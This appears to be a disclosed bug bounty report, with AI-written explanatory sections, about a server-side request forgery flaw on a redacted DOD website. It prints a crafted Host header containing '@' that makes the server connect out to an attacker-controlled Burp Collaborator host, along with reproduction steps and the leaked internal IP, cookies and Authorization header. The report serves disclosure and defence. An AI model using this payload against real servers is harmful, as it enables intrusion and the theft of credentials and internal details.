SSRF vulnerability on ██████████ leaks internal IP and various sensitive information
The web server trusted the Host header and followed a crafted host value containing an @ symbol, causing it to make an outbound request to an attacker-controlled host. The attacker received the request back with an internal IP address, a Basic Authorization header and other internal details.
Originally disclosed on HackerOne
- Triaged in 9 days
- Fixed in 9 months
- Disclosed after 22 months
Summary: A server side request forgery vulnerability appears to leak an internal IP address and tries to connect to an attacker controlled host. Description: In an normal request on this web page
Host: www.████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG; googtrans=/en/zh-TW
Connection: close
Upgrade-Insecure-Requests: 1
``` It will connect to the website as expected but if we use a @ on the host header like this
GET / HTTP/1.1 Host: www.█████████:80@██████████.burpcollaborator.net Pragma: no-cache Cache-Control: no-cache, no-transform Connection: close
It'll attempt to connect to our website and leak various information.
On our server we would see this,
GET / HTTP/1.1
Host: ████████.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG
X--------------: 1.1.1.1
Accept-Encoding: gzip, deflate, identity
Connection: Keep-Alive
Authorization: Basic ████████
X-BlueCoat-Via: 913daace1d652c00
Additionally we will see a DNS look up from this IP, 214.72.0.2 Which I confirmed to be DOD owned
## Impact
Medium
## Step-by-step Reproduction Instructions
We can reproduce this simply using www.████:[email protected] for the host header and we'll the see the results. As seen below
GET / HTTP/1.1 Host: www.████:[email protected] Pragma: no-cache Cache-Control: no-cache, no-transform Connection: close
If you have burp suite pro, you can do this easily with burp collaborator
## Product, Version, and Configuration (If applicable)
N/a
## Suggested Mitigation/Remediation Actions
Refuse attempts to connect to other hosts.
## Impact
This will allow attackers to gain access to an internal IP of a DOD website along with other sensitive information that may be leaked with the request
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application used the user-supplied Host header to build an outbound request without validating it, so an @ in the value redirected the connection to an attacker host.
Impact
An attacker could learn an internal IP address of a DOD website and other sensitive information leaked in the outbound request, such as an Authorization header.
What the attacker needed
Ability to send a crafted Host header
The fix
The server should refuse to connect to other hosts.
How it was found
- Send a normal request to the site and note it responds as expected.
- Change the Host header to include the site address, a port and an @ followed by an attacker-controlled hostname.
- Observe the incoming request on the attacker-controlled host, which contains internal details.
- Note the source IP of the connection and the DNS lookup it performs.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a browser or server asks for a web page, it sends a 'Host' header saying which site it wants. Here the server took that header at face value and made its own connection to whatever address was in it, so an attacker could point it at their own machine and see what the server sent along. That is called server-side request forgery: making the server do the connecting for you.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.